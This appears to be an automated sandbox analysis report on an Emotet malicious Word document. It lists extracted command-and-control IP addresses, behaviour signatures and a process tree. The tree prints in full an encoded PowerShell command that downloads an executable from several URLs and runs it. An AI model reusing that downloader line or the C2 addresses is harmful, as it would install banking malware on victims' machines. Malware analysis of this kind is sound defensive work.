Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    150s
  • max time network
    175s
  • resource
    win7

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_a951ad8253edcb05a2bd618d6d38d562.4

  • Sample

    191011-g8hxtvqwln

  • SHA256

    efd27a7b656f92567e0183f540f50890ae04fca8ac025188d90054d560af0bcb

Score
N/A

Malware Config

Extracted

Family

emotet

C2

186.75.241.230:80

181.143.194.138:443

181.143.53.227:21

85.104.59.244:20

80.11.163.139:443

167.71.10.37:8080

104.131.44.150:8080

185.187.198.15:80

133.167.80.63:7080

198.199.114.69:8080

144.139.247.220:80

152.89.236.214:8080

78.24.219.147:8080

92.222.216.44:8080

46.105.131.87:80

190.226.44.20:21

182.176.132.213:8090

85.54.169.141:8080

192.81.213.192:8080

101.187.237.217:20
rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 5 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 6 IoCs
  • Modifies registry class 1 TTPs 364 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Sync 1 IoCs
    trojanbanker
  • Suspicious behavior: EmotetMutantsSpam
  • emotet family
    family

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_a951ad8253edcb05a2bd618d6d38d562.4.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1396
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADAAOQAwADUAMAAyADAAYwA5ADAAYwA1AD0AJwBiADgAMQAzADcANgAzADQAMwA5AGMAMABjACcAOwAkAGIAeAAyADQANwAwADQANgAwADUAMgAgAD0AIAAnADgANwA3ACcAOwAkAHgAOQAwADEAeAA0ADMAMQAyADMANQAzAD0AJwB4AGIAYwA5ADEAMgAyADAANAAzAHgAJwA7ACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgB4ADIANAA3ADAANAA2ADAANQAyACsAJwAuAGUAeABlACcAOwAkAHgAMwBjAGIAMAA0ADIAOQA1ADcANgA4AD0AJwBjAHgAMQB4AHgAeAB4ADYAYgA4ADUAJwA7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAGwAaQBFAE4AVAA7ACQAYgBjADMAMwAwADEAOAAwAGMAMAA4AD0AJwBoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBpAGwAdgBlAHIAYQBuAHQALgBjAG8AbQAvAHQAZQBzAHQALwBkAHYAcgA5AC8AKgBoAHQAdABwADoALwAvAGYAaQByAHMAdABtAG4AZAAuAGMAbwBtAC8AdwBwAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAawA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGkAdAB5AGwAYQBuAGQAZwBvAHYAYQBwAC4AbgBlAHQALwA4AGQAcQBzADUAZgB2AC8ANgBKAC8AKgBoAHQAdABwADoALwAvAGQAZQByAGUAZABpAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBjAGIAYQBzAC8AKgBoAHQAdABwADoALwAvAGYAYQB0AHQAbwByAGkAYQBpAHAAbwBuAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAxAHcAaQBFAHEAUABmAE4ALwAnAC4AIgBTAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAeAAzADMANgBjADUAMAAxADAAYgAyADcAPQAnAGIAOQA2ADcAYgAxAHgAMgAwADEAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAzADcANQAwADAAOAAxADAAMAA1ADcAYwAgAGkAbgAgACQAYgBjADMAMwAwADEAOAAwAGMAMAA4ACkAewB0AHIAeQB7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAAuACIAZABPAFcAbgBMAGAATwBhAGQAZgBgAEkATABFACIAKAAkAHgAMwA3ADUAMAAwADgAMQAwADAANQA3AGMALAAgACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJABiADYAMgA2ADgAMQB4AGMAMwBjAHgANAA9ACcAeABiADAAMAA1AGIAMAA1ADAANgB4ADMANQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGIANAA4ADAANwA5ADAANwAwAGIAMQA5ADIAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAOQAxADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJAB4ADIAYgAwADcAOAA3ADcAOAA0ADAAMAA9ACcAYgAxADAAMgAwADEAMAAxADAAMAA2ADAAJwA7AGIAcgBlAGEAawA7ACQAYgAyADAAOAAyADAAeAAwADIAYwAzADMANQA9ACcAeAAxAHgAMQAxAHgAMAA0AGMANQA4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAYwA1ADkAMAAwAGIAMwA4ADEAOAAyADcAPQAnAGMAMAA3ADkAOAAwADkAOQA2ADgANgA4ADkAJwA=
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:336
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-1707645268725873312-7453567704012026161644404348168324617610238180121401068231"
    1⤵
      PID:1752
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1896
    • C:\Users\Admin\877.exe
      "C:\Users\Admin\877.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1264
    • C:\Users\Admin\877.exe
      --406b0556
      1⤵
      • Drops file in system dir
      • Emotet Sync
      PID:1300
    • C:\Windows\SysWOW64\loadarouter.exe
      "C:\Windows\SysWOW64\loadarouter.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1768
    • C:\Windows\SysWOW64\loadarouter.exe
      --f7a216da
      1⤵
      • Drops file in system dir
      PID:1884

    Network

    MITRE ATT&CK Enterprise v15

    MITRE ATT&CK Additional techniques

    • T1130

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1300-5-0x0000000000400000-0x0000000000481000-memory.dmp

      Filesize

      516KB

      Download

    • memory/1396-0-0x0000000006F10000-0x0000000007110000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1396-1-0x0000000006F10000-0x0000000007110000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1396-2-0x0000000006F10000-0x0000000007110000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1768-6-0x00000000003E0000-0x00000000003F4000-memory.dmp

      Filesize

      80KB

      Download

    • memory/1884-7-0x0000000000370000-0x0000000000384000-memory.dmp

      Filesize

      80KB

      Download

    • memory/1884-8-0x0000000000400000-0x0000000000481000-memory.dmp

      Filesize

      516KB

      Download